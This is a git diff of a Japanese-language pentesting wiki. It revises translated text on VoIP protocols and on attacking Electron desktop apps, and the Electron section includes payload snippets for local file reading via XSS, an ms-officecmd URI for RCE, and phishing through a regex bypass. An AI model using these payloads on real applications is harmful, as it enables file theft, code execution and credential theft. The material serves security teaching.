- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害されているかどうか**を確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - ## シグナリングプロトコル ### SIP (セッション開始プロトコル) @@ -42,94 +28,99 @@ WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウ ### MGCP (メディアゲートウェイ制御プロトコル) -MGCP (メディアゲートウェイ制御プロトコル)は、RFC 3435で概説された**シグナリング**および**コール制御プロトコル**です。これは、3つの主要なコンポーネントからなる集中型アーキテクチャで動作します: +MGCP (メディアゲートウェイ制御プロトコル)は、RFC 3435で概説された**シグナリング**および**通話** **制御プロトコル**です。これは、3つの主要なコンポーネントからなる集中型アーキテクチャで動作します: -1. **コールエージェントまたはメディアゲートウェイコントローラー (MGC)**:MGCPアーキテクチャのマスターゲートウェイは、**メディアゲートウェイの管理と制御**を担当します。コールのセットアップ、変更、終了プロセスを処理します。MGCはMGCPプロトコルを使用してメディアゲートウェイと通信します。 -2. **メディアゲートウェイ (MG) またはスレーブゲートウェイ**:これらのデバイスは、**異なるネットワーク間でデジタルメディアストリームを変換**します。例えば、従来の回路交換電話とパケット交換IPネットワークなどです。MGCによって管理され、受信したコマンドを実行します。メディアゲートウェイには、トランスコーディング、パケット化、エコーキャンセリングなどの機能が含まれる場合があります。 -3. **シグナリングゲートウェイ (SG)**:これらのゲートウェイは、**異なるネットワーク間でシグナリングメッセージを変換**する責任があります。これにより、従来の電話システム(例:SS7)とIPベースのネットワーク(例:SIPまたはH.323)間のシームレスな通信が可能になります。シグナリングゲートウェイは、相互運用性を確保し、異なるネットワーク間でコール制御情報が適切に通信されることを保証するために重要です。 +1. **コールエージェントまたはメディアゲートウェイコントローラー (MGC)**:MGCPアーキテクチャのマスターゲートウェイは、**メディアゲートウェイの管理と制御**を担当します。通話のセットアップ、変更、終了プロセスを処理します。MGCはMGCPプロトコルを使用してメディアゲートウェイと通信します。 +2. **メディアゲートウェイ (MG) またはスレーブゲートウェイ**:これらのデバイスは、**異なるネットワーク間でデジタルメディアストリームを変換**します。例えば、従来の回路交換電話とパケット交換IPネットワークなどです。これらはMGCによって管理され、受信したコマンドを実行します。メディアゲートウェイには、トランスコーディング、パケット化、エコーキャンセリングなどの機能が含まれる場合があります。 +3. **シグナリングゲートウェイ (SG)**:これらのゲートウェイは、**異なるネットワーク間でシグナリングメッセージを変換**する責任があります。これにより、従来の電話システム(例:SS7)とIPベースのネットワーク(例:SIPまたはH.323)間のシームレスな通信が可能になります。シグナリングゲートウェイは、相互運用性を確保し、異なるネットワーク間で通話制御情報が適切に通信されることを保証するために重要です。 -要約すると、MGCPはコールエージェントにコール制御ロジックを集中させ、メディアおよびシグナリングゲートウェイの管理を簡素化し、通信ネットワークにおけるスケーラビリティ、信頼性、効率を向上させます。 +要約すると、MGCPはコールエージェントに通話制御ロジックを集中させ、メディアおよびシグナリングゲートウェイの管理を簡素化し、通信ネットワークにおけるスケーラビリティ、信頼性、効率を向上させます。 ### SCCP (スキニークライアント制御プロトコル) -スキニークライアント制御プロトコル (SCCP)は、Cisco Systemsが所有する**独自のシグナリングおよびコール制御プロトコル**です。主に**Cisco Unified Communications Manager**(以前はCallManagerとして知られていた)とCisco IP電話または他のCisco音声およびビデオエンドポイント間の通信に使用されます。 +スキニークライアント制御プロトコル (SCCP)は、Cisco Systemsが所有する**独自のシグナリングおよび通話制御プロトコル**です。主に**Cisco Unified Communications Manager**(以前のCallManager)とCisco IP電話または他のCisco音声およびビデオエンドポイント間の通信に使用されます。 -SCCPは、コール制御サーバーとエンドポイントデバイス間の通信を簡素化する軽量プロトコルです。「スキニー」と呼ばれるのは、他のVoIPプロトコル(例:H.323やSIP)に比べてミニマリスティックな設計と帯域幅要件が少ないためです。 +SCCPは、通話制御サーバーとエンドポイントデバイス間の通信を簡素化する軽量プロトコルです。「スキニー」と呼ばれるのは、他のVoIPプロトコル(例:H.323やSIP)に比べてミニマリスティックな設計と帯域幅要件が少ないためです。 SCCPベースのシステムの主なコンポーネントは次のとおりです: -1. **コール制御サーバー**:通常はCisco Unified Communications Managerで、このサーバーはコールのセットアップ、変更、終了プロセスを管理し、コール転送、コール転送、コール保持などの他の電話機能も管理します。 -2. **SCCPエンドポイント**:これらは、IP電話、ビデオ会議ユニット、またはSCCPを使用してコール制御サーバーと通信する他のCisco音声およびビデオエンドポイントなどのデバイスです。これらはサーバーに登録し、シグナリングメッセージを送受信し、コール制御サーバーから提供される指示に従ってコールを処理します。 -3. **ゲートウェイ**:これらのデバイス(音声ゲートウェイやメディアゲートウェイなど)は、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換する責任があります。トランスコーディングやエコーキャンセリングなどの追加機能を含む場合もあります。 +1. **通話制御サーバー**:通常はCisco Unified Communications Managerで、このサーバーは通話のセットアップ、変更、終了プロセス、および通話転送、通話転送、通話保留などの他の電話機能を管理します。 +2. **SCCPエンドポイント**:これらは、IP電話、ビデオ会議ユニット、またはSCCPを使用して通話制御サーバーと通信する他のCisco音声およびビデオエンドポイントなどのデバイスです。これらはサーバーに登録し、シグナリングメッセージを送受信し、通話制御サーバーから提供される指示に従います。 +3. **ゲートウェイ**:これらのデバイス(音声ゲートウェイやメディアゲートウェイなど)は、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換する責任があります。また、トランスコーディングやエコーキャンセリングなどの追加機能を含む場合があります。 -SCCPは、Ciscoコール制御サーバーとエンドポイントデバイス間のシンプルで効率的な通信方法を提供します。ただし、**SCCPは独自のプロトコル**であるため、非Ciscoシステムとの相互運用性が制限される可能性があります。そのため、他の標準VoIPプロトコル(例:SIP)がより適している場合があります。 +SCCPは、Cisco通話制御サーバーとエンドポイントデバイス間のシンプルで効率的な通信方法を提供します。ただし、**SCCPは独自のプロトコル**であるため、非Ciscoシステムとの相互運用性が制限される可能性があります。そのため、他の標準VoIPプロトコル(例:SIP)がより適している場合があります。 ### H.323 H.323は、音声、ビデオ、データ会議を含むマルチメディア通信のための**プロトコルスイート**で、パケット交換ネットワーク(例:IPベースのネットワーク)上で動作します。これは**国際電気通信連合**(ITU-T)によって開発され、マルチメディア通信セッションを管理するための包括的なフレームワークを提供します。 -H.323スイートの主なコンポーネントには次のものが含まれます: +H.323スイートの主なコンポーネントには次のものがあります: -1. **端末**:これらは、H.323をサポートし、マルチメディア通信セッションに参加できるエンドポイントデバイス(例:IP電話、ビデオ会議システム、ソフトウェアアプリケーション)です。 -2. **ゲートウェイ**:これらのデバイスは、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換し、H.323と他の通信システム間の相互運用性を可能にします。トランスコーディングやエコーキャンセリングなどの追加機能を含む場合もあります。 -3. **ゲートキーパー**:これらは、H.323ネットワーク内でコール制御および管理サービスを提供するオプションのコンポーネントです。アドレス変換、帯域幅管理、入場制御などの機能を実行し、ネットワークリソースの管理と最適化を支援します。 -4. **マルチポイント制御ユニット (MCU)**:これらのデバイスは、複数のエンドポイントからのメディアストリームを管理およびミキシングすることにより、マルチポイント会議を促進します。MCUは、ビデオレイアウト制御、音声アクティブスイッチング、継続的なプレゼンスなどの機能を可能にし、複数の参加者との大規模な会議を開催できるようにします。 +1. **端末**:これらは、H.323をサポートし、マルチメディア通信セッションに参加できるエンドポイントデバイス(例:IP電話、ビデオ会議システム、またはソフトウェアアプリケーション)です。 +2. **ゲートウェイ**:これらのデバイスは、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換し、H.323と他の通信システム間の相互運用性を可能にします。また、トランスコーディングやエコーキャンセリングなどの追加機能を含む場合があります。 +3. **ゲートキーパー**:これらは、H.323ネットワーク内で通話制御および管理サービスを提供するオプションのコンポーネントです。アドレス変換、帯域幅管理、入場制御などの機能を実行し、ネットワークリソースの管理と最適化を支援します。 +4. **マルチポイント制御ユニット (MCU)**:これらのデバイスは、複数のエンドポイントからのメディアストリームを管理およびミキシングすることにより、マルチポイント会議を促進します。MCUは、ビデオレイアウト制御、音声アクティブスイッチング、継続的なプレゼンスなどの機能を可能にし、複数の参加者との大規模な会議をホストすることを可能にします。 -H.323は、音声およびビデオコーデックの範囲をサポートし、コール転送、コール転送、コール保持、コール待機などの他の補助サービスも提供します。VoIPの初期に広く採用されましたが、H.323は次第に**セッション開始プロトコル (SIP)**のようなより現代的で柔軟なプロトコルに置き換えられています。SIPは、より良い相互運用性と簡単な実装を提供します。しかし、H.323は多くのレガシーシステムで使用され続けており、さまざまな機器ベンダーによってサポートされています。 +H.323は、音声およびビデオコーデックの範囲、ならびに通話転送、通話転送、通話保留、通話待機などの他の補助サービスをサポートします。VoIPの初期に広く採用されましたが、H.323は、相互運用性が向上し、実装が容易な**セッション開始プロトコル (SIP)**のようなより現代的で柔軟なプロトコルに徐々に置き換えられています。ただし、H.323は多くのレガシーシステムで使用され続けており、さまざまな機器ベンダーによってサポートされています。 ### IAX (インターアスタリスクエクスチェンジ) -IAX (インターアスタリスクエクスチェンジ)は、主にAsterisk PBX(プライベートブランチ交換)サーバーと他のVoIPデバイス間の通信に使用される**シグナリングおよびコール制御プロトコル**です。これは、AsteriskオープンソースPBXソフトウェアの作成者であるMark Spencerによって、SIPやH.323などの他のVoIPプロトコルの代替として開発されました。 +IAX (インターアスタリスクエクスチェンジ)は、主にAsterisk PBX(プライベートブランチ交換)サーバーと他のVoIPデバイス間の通信に使用される**シグナリングおよび通話制御プロトコル**です。これは、AsteriskオープンソースPBXソフトウェアの作成者であるMark Spencerによって、SIPやH.323のような他のVoIPプロトコルの代替として開発されました。 IAXは、その**シンプルさ、効率性、実装の容易さ**で知られています。IAXの主な特徴は次のとおりです: 1. **単一UDPポート**:IAXは、シグナリングとメディアトラフィックの両方に単一のUDPポート(4569)を使用し、ファイアウォールやNATのトラバーサルを簡素化し、さまざまなネットワーク環境での展開を容易にします。 -2. **バイナリプロトコル**:SIPのようなテキストベースのプロトコルとは異なり、IAXはバイナリプロトコルであり、帯域幅の消費を減少させ、シグナリングおよびメディアデータの送信をより効率的にします。 -3. **トランキング**:IAXはトランキングをサポートしており、複数のコールを単一のネットワーク接続に結合することができ、オーバーヘッドを削減し、帯域幅の利用を改善します。 -4. **ネイティブ暗号化**:IAXは、RSAのような鍵交換方法とAESのようなメディア暗号化を使用して、エンドポイント間の安全な通信を提供するための暗号化をネイティブにサポートしています。 -5. **ピアツーピア通信**:IAXは、中央サーバーを必要とせずにエンドポイント間で直接通信するために使用でき、よりシンプルで効率的なコールルーティングを可能にします。 +2. **バイナリプロトコル**:SIPのようなテキストベースのプロトコルとは異なり、IAXはバイナリプロトコルであり、帯域幅消費を削減し、シグナリングおよびメディアデータの送信をより効率的にします。 +3. **トランキング**:IAXはトランキングをサポートしており、複数の通話を単一のネットワーク接続に結合することができ、オーバーヘッドを削減し、帯域幅の利用を改善します。 +4. **ネイティブ暗号化**:IAXは、RSAのような鍵交換方法とAESのようなメディア暗号化を使用して、エンドポイント間の安全な通信を提供するための暗号化をサポートしています。 +5. **ピアツーピア通信**:IAXは、中央サーバーを必要とせずにエンドポイント間で直接通信するために使用でき、よりシンプルで効率的な通話ルーティングを可能にします。 -利点にもかかわらず、IAXにはいくつかの制限があります。主にAsteriskエコシステムに焦点を当てており、SIPのようなより確立されたプロトコルに比べて広く採用されていません。そのため、非Asteriskシステムやデバイスとの相互運用性には最適ではないかもしれません。しかし、Asterisk環境内で作業している人々にとって、IAXはVoIP通信のための堅牢で効率的なソリューションを提供します。 +利点にもかかわらず、IAXにはいくつかの制限があります。主にAsteriskエコシステムに焦点を当てており、SIPのようなより確立されたプロトコルに比べて広く採用されていません。そのため、非Asteriskシステムやデバイスとの相互運用性には最適ではないかもしれません。ただし、Asterisk環境内で作業している人にとって、IAXはVoIP通信のための堅牢で効率的なソリューションを提供します。 ## 伝送および輸送プロトコル ### SDP (セッション記述プロトコル) -SDP (セッション記述プロトコル)は、IPネットワーク上での音声、ビデオ、またはデータ会議などのマルチメディアセッションの特性を記述するために使用される**テキストベースのフォーマット**です。これは**インターネット技術タスクフォース (IETF)**によって開発され、**RFC 4566**で定義されています。SDPは実際のメディア伝送やセッションの確立を処理せず、**SIP (セッション開始プロトコル)**のような他のシグナリングプロトコルと組み合わせて、メディアストリームとその属性に関する情報を交渉および交換するために使用されます。 +SDP (セッション記述プロトコル)は、IPネットワーク上での音声、ビデオ、またはデータ会議などのマルチメディアセッションの特性を記述するために使用される**テキストベースのフォーマット**です。これは**インターネット技術者タスクフォース (IETF)**によって開発され、**RFC 4566**で定義されています。SDPは実際のメディア伝送やセッションの確立を処理せず、**SIP (セッション開始プロトコル)**のような他のシグナリングプロトコルと組み合わせて、メディアストリームとその属性に関する情報を交渉および交換するために使用されます。 SDPの主な要素は次のとおりです: 1. **セッション情報**:SDPは、セッション名、セッションの説明、開始時刻、終了時刻など、マルチメディアセッションの詳細を記述します。 2. **メディアストリーム**:SDPは、メディアタイプ(音声、ビデオ、またはテキスト)、輸送プロトコル(例:RTPまたはSRTP)、およびメディアフォーマット(例:コーデック情報)など、メディアストリームの特性を定義します。 -3. **接続情報**:SDPは、メディアが送信または受信されるべきネットワークアドレス(IPアドレス)およびポート番号に関する情報を提供します。 +3. **接続情報**:SDPは、メディアが送信または受信されるネットワークアドレス(IPアドレス)およびポート番号に関する情報を提供します。 4. **属性**:SDPは、セッションまたはメディアストリームに関する追加のオプション情報を提供するために属性の使用をサポートします。属性は、暗号化キー、帯域幅要件、またはメディア制御メカニズムなどのさまざまな機能を指定するために使用できます。 SDPは通常、次のプロセスで使用されます: -1. 開始する当事者が、メディアストリームとその属性の詳細を含む提案されたマルチメディアセッションのSDP記述を作成します。 -2. SDP記述は、通常、SIPやRTSPのようなシグナリングプロトコルメッセージ内に埋め込まれて受信者に送信されます。 -3. 受信者はSDP記述を処理し、その能力に基づいて、提案されたセッションを受け入れる、拒否する、または修正することがあります。 -4. 最終的なSDP記述は、シグナリングプロトコルメッセージの一部として開始する当事者に返送され、交渉プロセスが完了します。 +1. 開始側が、メディアストリームとその属性の詳細を含む提案されたマルチメディアセッションのSDP記述を作成します。 +2. SDP記述は、通常、SIPやRTSPのようなシグナリングプロトコルメッセージ内に埋め込まれて受信側に送信されます。 +3. 受信側はSDP記述を処理し、その能力に基づいて、提案されたセッションを受け入れる、拒否する、または変更することがあります。 +4. 最終的なSDP記述は、シグナリングプロトコルメッセージの一部として開始側に返送され、交渉プロセスが完了します。 -SDPのシンプルさと柔軟性は、さまざまな通信システムでマルチメディアセッションを記述するための広く採用された標準となっており、IPネットワーク上でリアルタイムのマルチメディアセッションを確立および管理する上で重要な役割を果たしています。 +SDPのシンプルさと柔軟性は、さまざまな通信システムでマルチメディアセッションを記述するための広く採用された標準となっており、IPネットワーク上でリアルタイムのマルチメディアセッションを確立および管理する上で重要な役割を果たします。 ### RTP / RTCP / SRTP / ZRTP 1. **RTP (リアルタイムトランスポートプロトコル)**:RTPは、IPネットワーク上で音声およびビデオデータ、または他のリアルタイムメディアを配信するために設計されたネットワークプロトコルです。**IETF**によって開発され、**RFC 3550**で定義されているRTPは、SIPやH.323のようなシグナリングプロトコルと一般的に使用され、マルチメディア通信を可能にします。RTPは、メディアストリームの**同期**、**シーケンシング**、および**タイムスタンプ**のメカニズムを提供し、スムーズでタイムリーなメディア再生を確保します。 -2. **RTCP (リアルタイムトランスポート制御プロトコル)**:RTCPは、RTPの補完プロトコルで、サービス品質(QoS)を監視し、メディアストリームの伝送に関するフィードバックを提供するために使用されます。RTPと同じ**RFC 3550**で定義されているRTCPは、**RTPセッションの参加者間で制御パケットを定期的に交換**します。パケットロス、ジッター、往復時間などの情報を共有し、ネットワーク条件を診断し、適応するのに役立ち、全体的なメディア品質を向上させます。 +2. **RTCP (リアルタイムトランスポート制御プロトコル)**:RTCPは、RTPの補完プロトコルで、サービス品質(QoS)を監視し、メディアストリームの伝送に関するフィードバックを提供するために使用されます。RTPと同じ**RFC 3550**で定義されているRTCPは、**RTPセッションの参加者間で制御パケットを定期的に交換**します。パケット損失、ジッター、往復時間などの情報を共有し、ネットワーク条件を診断し、適応するのに役立ち、全体的なメディア品質を向上させます。 3. **SRTP (セキュアリアルタイムトランスポートプロトコル)**:SRTPは、メディアストリームに対して**暗号化**、**メッセージ認証**、および**再生防止**を提供するRTPの拡張です。**RFC 3711**で定義されており、SRTPはAESのような暗号化アルゴリズムとHMAC-SHA1のようなメッセージ認証を使用します。SRTPは、SIP over TLSのような安全なシグナリングプロトコルと組み合わせて使用され、マルチメディア通信におけるエンドツーエンドのセキュリティを提供します。 -4. **ZRTP (ジマーマンリアルタイムトランスポートプロトコル)**:ZRTPは、RTPメディアストリームに対して**エンドツーエンドの暗号化**を提供する暗号鍵合意プロトコルです。PGPの作成者であるPhil Zimmermannによって開発され、**RFC 6189**で説明されています。ZRTPは、鍵交換のためにシグナリングプロトコルに依存するSRTPとは異なり、シグナリングプロトコルとは独立して機能するように設計されています。**Diffie-Hellman鍵交換**を使用して、通信する当事者間で共有秘密を確立し、事前の信頼や公開鍵基盤(PKI)を必要としません。ZRTPは、マンインザミドル攻撃から保護するための**短い認証文字列(SAS)**のような機能も含んでいます。 +4. **ZRTP (ジマーマンリアルタイムトランスポートプロトコル)**:ZRTPは、RTPメディアストリームに対して**エンドツーエンドの暗号化**を提供する暗号鍵合意プロトコルです。PGPの作成者であるPhil Zimmermannによって開発され、**RFC 6189**で説明されています。ZRTPは、鍵交換のためにシグナリングプロトコルに依存するSRTPとは異なり、シグナリングプロトコルとは独立して機能するように設計されています。**Diffie-Hellman鍵交換**を使用して、通信する当事者間で共有秘密を確立し、事前の信頼や公開鍵基盤(PKI)を必要としません。ZRTPには、マンインザミドル攻撃から保護するための**短い認証文字列(SAS)**などの機能も含まれています。 -これらのプロトコルは、**IPネットワーク上でのリアルタイムマルチメディア通信の配信とセキュリティ**において重要な役割を果たします。RTPとRTCPは実際のメディア伝送と品質監視を処理し、SRTPとZRTPは、送信されたメディアが盗聴、改ざん、再生攻撃から保護されることを保証します。 +これらのプロトコルは、**IPネットワーク上でのリアルタイムマルチメディア通信の配信とセキュリティにおいて重要な役割を果たします**。RTPとRTCPは実際のメディア伝送と品質監視を処理し、SRTPとZRTPは、送信されたメディアが盗聴、改ざん、再生攻撃から保護されることを保証します。 -### [WhiteIntel](https://whiteintel.io) +{% hint style="success" %} +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害されているかどうか**を確認するための**無料**機能を提供しています。 +HackTricksをサポートする -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} +
+{% endhint %} +
+{% endhint %} diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index a5a92525a..000b3a14f 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,39 +1,26 @@ # Electron Desktop Apps {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksをサポートする +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## はじめに Electronは、ローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。 -通常、Electronアプリのコードは`.asar`アプリケーション内に見つかります。コードを取得するには、抽出する必要があります: +通常、Electronアプリのコードは`.asar`アプリケーション内に見つかります。コードを取得するには、抽出する必要があります: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file @@ -47,7 +34,7 @@ Electronアプリのソースコード内の`packet.json`には、セキュリ Electronには2つのプロセスタイプがあります: * メインプロセス(NodeJSへの完全なアクセス権を持つ) -* レンダラープロセス(セキュリティ上の理由からNodeJSのアクセスが制限されるべき) +* レンダラープロセス(セキュリティ上の理由からNodeJSへのアクセスが制限されるべき) ![](<../../../.gitbook/assets/image (182).png>) @@ -59,7 +46,7 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -**renderer process**の設定は、main.jsファイル内の**main process**で**設定**できます。いくつかの設定は、**設定が正しく構成されていれば**、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。 +設定は、**renderer process**内で**main process**のmain.jsファイルに**設定**できます。いくつかの設定は、**設定が正しく構成されている**場合、ElectronアプリケーションがRCEやその他の脆弱性を**防ぐ**ことができます。 Electronアプリケーションは、Node APIを介して**デバイスにアクセス**することができますが、それを防ぐように構成することもできます: @@ -69,7 +56,7 @@ Electronアプリケーションは、Node APIを介して**デバイスにア * [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトではオフです。NodeJSが実行できるアクションを制限します。 * WorkersにおけるNode Integration * **`nodeIntegrationInSubframes`** - デフォルトでは`off`です。 -* **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれたウェブページ**で**Node.js API**を使用することを許可します。 +* **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれた**ウェブページで**Node.js API**を使用することを許可します。 * **`nodeIntegration`**が**無効**になっている場合、preloadsはiframe内で読み込まれます。 設定の例: @@ -206,16 +193,16 @@ window.addEventListener('click', (e) => { ``` ## RCE via shell.openExternal -この例に関する詳細は、[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) と [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を確認してください。 +この例に関する詳細は、[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) および [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を確認してください。 -Electronデスクトップアプリケーションを展開する際には、`nodeIntegration` と `contextIsolation` の設定が正しいことを確認することが重要です。**クライアントサイドのリモートコード実行(RCE)**がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。 +Electronデスクトップアプリケーションを展開する際には、`nodeIntegration` と `contextIsolation` の設定が正しいことを確認することが重要です。**クライアント側のリモートコード実行 (RCE)** がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。 ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクが内部で開かれるべきか、外部のウェブブラウザで開かれるべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開かれるべきであり、`shell.openExternal`関数を利用します。 +これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか、外部のウェブブラウザで開くべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開くべきであることを示し、`shell.openExternal`関数を利用します。 **以下は簡略化された擬似コードです:** @@ -241,11 +228,11 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu ``` ## 内部ファイルの読み取り: XSS + contextIsolation -**`contextIsolation`を無効にすると、ローカルファイルを読み取って外部に流出させるために、``タグを使用できるようになります**。提供された例は、この脆弱性を利用して内部ファイルの内容を読み取る方法を示しています: +**`contextIsolation`を無効にすると、ローカルファイルを読み取って外部に流出させるために、``タグを使用できるようになります**。提供された例は、この脆弱性を利用して内部ファイルの内容を読み取る方法を示しています: ![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>) -さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重大なローカルファイル読み取りの脆弱性を強調しています。これには、アプリケーションを悪用してデータを外部に流出させるためのスクリプトを注入することが含まれます: +さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取り脆弱性を強調しています。これには、アプリケーションを悪用してデータを外部に流出させるためのスクリプトを注入することが含まれます: ```html



pwn
@@ -256,21 +243,21 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body ``` ## **RCE: XSS + 古いChromium** -もしアプリケーションで使用されている**chromium**が**古い**もので、**既知の****脆弱性**がある場合、**XSSを通じてそれを悪用しRCEを取得する**ことが可能かもしれません。\ +アプリケーションで使用されている**chromium**が**古い**場合、**既知の****脆弱性**があると、**それを悪用してXSSを通じてRCEを取得する**ことが可能かもしれません。\ この**writeup**の例を参照してください: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **内部URLの正規表現バイパスによるXSSフィッシング** -XSSを見つけたが、**RCEをトリガーできないか内部ファイルを盗むことができない**場合、**フィッシングを通じて認証情報を盗む**ためにそれを使用することを試みることができます。 +XSSを見つけたが、**RCEをトリガーできないか内部ファイルを盗むことができない**場合、**フィッシングを通じて資格情報を盗む**ためにそれを使用することを試みることができます。 -まず最初に、新しいURLを開こうとしたときに何が起こるかを知る必要があります。フロントエンドのJSコードを確認してください: +まず、フロントエンドのJSコードを確認して、新しいURLを開こうとしたときに何が起こるかを知る必要があります: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` **`openInternally`**への呼び出しは、**リンク**がプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で**開かれる**か、**ブラウザの3rdパーティリソース**として**開かれる**かを決定します。 -関数で使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしない**場合)、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する**新しいウィンドウを開き**、ユーザーに**認証情報を要求する**ことができます: +関数で使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしない**場合)、攻撃者はXSSを悪用して、**新しいウィンドウを開くことができ**、そのウィンドウは攻撃者のインフラストラクチャに位置し、ユーザーに**資格情報を要求**します: ```html `。そのため、この例では`opener`の使用を明示的に示す必要はありません。 +* この例では、サーバーが**javascriptコードを生成し**、**コールバックパラメータの内容に基づいて**それをHTMLに**追加**しています: 